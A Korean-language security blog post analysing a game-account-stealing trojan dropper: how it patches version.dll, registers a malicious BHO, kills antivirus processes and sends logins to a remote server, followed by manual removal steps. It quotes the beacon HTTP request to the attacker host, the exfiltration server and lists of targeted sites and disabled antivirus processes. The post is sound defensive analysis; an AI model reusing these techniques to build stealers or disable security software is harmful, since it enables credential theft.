이번 유포와 관련하여 처리님의 블로그를 통해 기술적인 부분을 확인하시기 바라며, 이 글에서는 감염 과정을 통한 동적 분석 및 수동 해결 방법을 알아보도록 하겠습니다.
테스트 환경에서는 Windows XP SP3 + AhnLab V3 Lite 제품이 설치된 상태에서 확인하였으며, 사용된 악성 파일(MD5 : 32de1b56c4e1f48b21d8e2ad574d1c27)에 대하여 안철수연구소(AhnLab) V3 보안 제품에서는 Dropper/Onlinegamehack.109568.B
(VirusTotal : 23/43) 진단명으로 진단되고 있습니다.(※ 알약(ALYac) 보안 제품에서는 Trojan.Dropper.OnlineGames.ver 진단명으로 진단됩니다.)
GET /1/get.asp?mac=13B0 ~(생략)~ 9773&ver=winxp%20Professional&avs=(V3)&os=NO. HTTP/1.1
User-Agent: Google page
Host: fish.jetgood.com
Cache-Control: no-cache
최초 감염이 이루어지는 과정에서 특정 서버에 감염자 PC의 Mac Address, OS, 설치된 보안 제품 정보가 전송이 이루어지는 것을 확인할 수 있습니다.
또한 감염 과정에서는 사용자 PC에 설치된 보안 제품이 설치 파일을 진단하지 못할 경우 AVKiller 기능으로 인하여 실시간 감시 및 제품 종료가 발생할 수 있습니다.
여기에서 주목할 점은 AhnLab V3 Lite 제품의 경우 "V3 Lite 프로그램 자체 보호" 기능을 사용하지 않는 사용자의 경우 AhnLab V3 제품의 시스템 드라이버 파일을 수정하는 동작이 발생합니다.
실제 감염 모습을 확인해보면 "C:\WINDOWS\system32\drivers" 폴더 내에 존재하는 AhnLab V3 드라이버가 삭제 처리되고 "C:\Documents and Settings\(사용자 계정)\Local Settings\Temp" 폴더 내에 "SrMac(숫자).dat" 파일 패턴으로 복제 생성되는 것을 확인할 수 있습니다.
영향을 받는 드라이버 파일은 AhnLab V3(AhnFlt2k.sys, AhnFltNt.sys, AhnRec2k.sys, AhnRecNt.sys, AhnRghNt.sys, ahnsze.sys, v3core.sys, v3engine.sys) 8개 파일과 알약(EstRtw.sys) 1개의 파일입니다.
그러므로 보안 제품을 사용하시는 분들은 반드시 자체 보호 기능을 체크하시고 이용하시기 바라며, 자체 보호 기능이 활성화된 환경에서는 해당 동작이 발생하지 않습니다.
C:\Documents and Settings\(사용자 계정)\Local Settings\Temp\201211710940.dll :: 숨김(H) 속성 폴더, 악성 파일
- MD5 : a2b2ce4a7045765a2e67831bebc777d1
- AhnLab V3 : Win-Trojan/Onlinegamehack.66560.R (VirusTotal : 14/43)
※ 해당 파일은 "2012(월일시분초).dll" 형태입니다.
C:\WINDOWS\system32\201211710940.dll :: 정상 파일
※ 해당 파일은 "2012(월일시분초).dll" 형태입니다.
C:\WINDOWS\system32\safemon.dll :: BHO 등록 파일 - 악성 파일
- MD5 : 7fa344e5c6e3772c8aced47fdcf0e3a4
- AhnLab V3 : Win-Trojan/Onlinegamehack.27136.BG (VirusTotal : 4/43)
C:\WINDOWS\system32\version32.dll :: 정상 파일
C:\WINDOWS\system32\version.dll :: 변경 전 파일 크기(18,944 Bytes) / 변경 후 파일 크기(66,560 Bytes) - 악성 파일
- MD5 : a2b2ce4a7045765a2e67831bebc777d1
- AhnLab V3 : Win-Trojan/Onlinegamehack.66560.R (VirusTotal : 14/43)
감염시 파일 생성 순서를 살펴보면 ① 알약(ALYac) 업데이트 모듈(AYUpdSrve Module)로 위장한 "C:\WINDOWS\system32\safemon.dll" 파일을 생성하여 브라우저 도우미 개체(BHO)에 자신을 등록하며 ② "C:\Documents and Settings\(사용자 계정)\Local Settings\Temp\2012(월일시분초).dll" 파일을 생성하여 차후 version.dll 파일로 패치할 준비를 합니다.
③ 정상적인 version.dll 시스템 파일을 백업한 "C:\WINDOWS\system32\version32.dll" 파일을 생성한 후 ④ 정상적인 version.dll 시스템 파일은 "C:\WINDOWS\system32\2012(월일시분초).dll" 파일로 이름을 변경합니다.
⑤ 이전에 생성한 "C:\Documents and Settings\(사용자 계정)\Local Settings\Temp\2012(월일시분초).dll" 파일을 "C:\WINDOWS\system32\version.dll" 파일로 이동하여 변조(패치)가 이루어진 후 ⑥ 마지막으로 "C:\Documents and Settings\(사용자 계정)\Local Settings\Temp\voor.bat" 배치 파일을 생성하여 드랍퍼(Dropper)와 자신(voor.bat)을 삭제 처리를 합니다.
이렇게 패치된 악성 version.dll 시스템 파일은 동작시 version32.dll 백업 파일의 Export Table을 참조합니다.
감염 과정에서 또 하나 주목할 점은 safemon.dll 악성 파일을 "IEHlprObj Class"라는 이름의 브라우저 도우미 개체(BHO)로 등록하는 과정에서 기존에 존재하는 다른 정상적인 BHO 등록값을 모두 삭제 처리를 하고 자신만 등록된다는 점입니다.
이는 다른 BHO로 인한 오류 발생이나 안철수연구소 사이트가드(AhnLab SiteGuard) 보안 제품의 기능을 중지하기 위한 동작이라고 볼 수 있습니다.
이름 : IEHlprObj Class
유형 : 브라우저 도우미 개체
CLSID : {D36F9CA2-788F-42DE-A627-9E6EF40D8475}
파일 : C:\WINDOWS\system32\safemon.dll
※ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
Browser Helper Objects\{D36F9CA2-788F-42DE-A627-9E6EF40D8475}
해당 BHO 레지스트리 값에 대하여 AhnLab V3 보안 제품에서는 Suspicious BHO 진단명으로 진단 및 치료를 제공하고 있습니다.
이렇게 등록된 파일들은 사용자가 Internet Explorer 웹 브라우저를 실행할 경우 iexplore.exe 프로세스에 safemon.dll, version.dll 파일을 추가하여 동작하는 것을 확인할 수 있습니다.
1. safemon.dll 파일 기능
- happymoney.co.kr
- teencash.co.kr
- cultureland.co.kr
- booknlife.com
- capogames.net
- dragonnest.nexon.com
- elsword.nexon.com
- clubaudition.ndolfin.com
- netmarble.net
- itemmania.com
- itembay.com
- pmang.com
- aion.plaync.jp
- plaync.co.kr
- maplestory.nexon.com
- hangame.com
- fifaonline.pmang.com
- df.nexon.com
- baram.nexon.com
해당 파일은 파일에 등록된 온라인 문화 상품권, 아이템 거래 사이트, 온라인 게임 사이트에 사용자가 접속하여 로그인을 시도할 경우 특정 서버로 계정 정보를 유출하는 기능을 담당합니다.
실제 틴캐시(TeenCash) 사이트에서 로그인을 시도할 경우 미국(USA)에 위치한 push.ruyasx.com(174.128.230.117) 서버에 계정 정보(아이디(ID), 비밀번호)가 전송되는 것을 확인할 수 있습니다.
2. version.dll 파일 기능
- AVG : avgupd.exe, avgwdsvc.exe, avgfrw.exe, avgrsx.exe, avgnsx.exe, avgemc.exe, avgam.exe
- BitDefender : bdreinit.exe, bdagent.exe, seccenter.exe, vsserv.exe, updatesrv.exe
- Norton : Navw32.exe, ccSvcHst.exe
- ESET NOD32 : ekrn.exe, egui.exe
- MSE : msseces.exe
- McAfee : UdaterUI.exe, Mctray.exe, shstat.exe
- avast! : AvastUI.exe, ashUpd.exe, AvastSvc.exe, avwsc.exe
- Avira Antivir : avupgsvc.exe, avscan.exe, avguard.exe, avcenter.exe, avgnt.exe
- Kaspersky : avp.exe
- 알약(ALYac) : AYAgent.aye, AYUpdSrv.aye, AYRTSrv.aye
- 네이버 백신 : NaverAgent.exe
- AhnLab SiteGuard : SgRun.exe, SgSvc.exe, Sgui.exe
- AhnLab V3 : V3LTray.exe, V3LRun.exe, V3LSvc.exe
해당 파일은 국내외 유명 보안 제품의 프로세스를 감시하여 보안 제품의 정상적인 동작을 방해하는 기능을 담당하며, 특정 프로세스 감시 기능을 수행합니다.
테스트 환경에서는 이렇게 감염된 경우 시스템 재부팅 후 AhnLab V3 Lite 제품의 경우 자동으로 실행되지만 실시간 감시 기능이 동작하지 않으며, 업데이트 불가 및 시스템 트레이 알림 아이콘의 하위 메뉴가 생성되지 않는 등의 문제가 확인이 되고 있습니다.
하지만 바탕 화면의 바로가기 아이콘을 통해 빠른 검사가 정상적으로 진행되어 자동 치료가 이루어지는 것도 확인할 수 있었습니다.
치료가 완료된 후 시스템 재부팅 이후에도 여전히 실시간 감시 기능이 죽는 문제가 발생하므로 삭제를 통한 재설치가 필요한 것으로 보입니다.
그러므로 보안 제품을 통한 방법 이외에 수동으로 해당 악성코드 감염으로부터 문제를 해결하기 위해서는 다음과 같은 절차를 반드시 따르시기 바랍니다.(※ 모든 프로그램을 종료한 상태에서 진행하시기 바랍니다.)
(1) Internet Explorer 웹 브라우저를 실행하여 추가 기능 관리에 등록된 "IEHlprObj Class" 항목을 선택하여 "사용 안 함"으로 변경하기(※ 변경 후에는 Internet Explorer 웹 브라우저를 종료하시기 바랍니다.)
(2) "C:\WINDOWS\system32\safemon.dll" 파일 확장자 변경하기(※ 예시 : safemon.dll-)
(3) "C:\Documents and Settings\(사용자 계정)\Local Settings\Temp\2012(월일시분초).dll" 파일 확장자 변경하기(※ 예시 : 2012(월일시분초).dll-)
(4) "C:\WINDOWS\system32\version.dll" 파일 확장자 변경하기(※ 예시 : version.dll-)
악성 version.dll 파일 확장자를 변경한 경우, 윈도우 파일 보호(WFP) 기능을 통해 자동으로 "C:\WINDOWS\system32\dllcache\version.dll" 파일을 통해 그림과 같이 정상적인 version.dll 시스템 파일이 복원이 이루어집니다.
그러므로 사용자는 반드시 해당 파일이 복원되었는지 여부를 확인하시고 차후 시스템 재부팅을 하시기 바라며, 만약 복원이 이루어지지 않은 상태에서 재부팅을 할 경우 블루 스크린 생성 및 무한 재부팅 문제가 발생하므로 주의하시기 바랍니다.
(5) 레지스트리 편집기(regedit)를 실행하여 레지스트리 값 삭제하기
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D36F9CA2-788F-42DE-A627-9E6EF40D8475}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\HOOK_DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\HOOK_ID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IEHlprObj.IEHlprObj
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IEHlprObj.IEHlprObj.1
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D36F9CA1-788F-42DE-A627-9E6EF40D8475}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{D36F9CA8-788F-42DE-A627-9E6EF40D8475}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
Browser Helper Objects\{D36F9CA2-788F-42DE-A627-9E6EF40D8475}
레지스트리 삭제 방법은 그림과 같이 제시된 레지스트리 값을 찾아 마우스 우클릭을 통한 "삭제" 메뉴를 클릭하시기 바랍니다.
(6) 감염으로 인해 삭제된 레지스트리 값 추가하기
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- ctfmon.exe = C:\WINDOWS\system32\ctfmon.exe
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" 값을 찾아 선택한 후, 우측 공란에 마우스 우클릭을 통해 "새로 만들기 → 문자열 값" 항목을 선택하여 "ctfmon.exe"를 입력합니다.
생성된 문자열 값(ctfmon.exe)에 마우스 우클릭을 통한 "수정" 메뉴를 클릭하여 "문자열 편집"창의 "값 데이터" 공란에 "C:\WINDOWS\system32\ctfmon.exe" 정보를 입력하시기 바랍니다.
참고로 해당 악성코드에 감염된 경우 추가적으로 브라우저 도우미 개체(BHO) 등록값(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\)이 일괄 삭제되며, 이 부분에 대해서는 사용자 PC 환경에 따라 다르므로 응용 프로그램을 재설치하는 방식 외에는 방법이 없습니다.
(7) 시스템 재부팅 후, 다음의 파일을 찾아 수동으로 삭제하시기 바랍니다.
- C:\Documents and Settings\(사용자 계정)\Local Settings\Temp\2012(월일시분초).dll-
- C:\WINDOWS\system32\2012(월일시분초).dll
- C:\WINDOWS\system32\safemon.dll-
- C:\WINDOWS\system32\version32.dll-
- C:\WINDOWS\system32\version.dll-
모든 절차가 완료된 후에는 보안 제품을 이용하여 최신 업데이트 완료 후 정밀 검사를 통해 추가적인 악성 파일이 있는지 재확인을 하시기 바랍니다.
해당 악성코드에 감염되는 원인은 윈도우 보안 업데이트 미적용 환경, Adobe Flash Player 최신 버전을 사용하지 않는 환경, Oracle JRE 프로그램이 설치된 환경에서 최신 버전을 사용하지 않는 환경인 경우 자동으로 감염이 발생할 수 있습니다.
이들 악성코드에 대한 예방책으로 보안 제품에 의존하지 마시고 반드시 보안 업데이트를 통해 최신 버전을 사용하는 습관이 가장 중요하므로 감염 여부를 떠나 자신의 PC에 설치된 프로그램의 최신 버전을 체크하는 습관을 가지시기 바랍니다.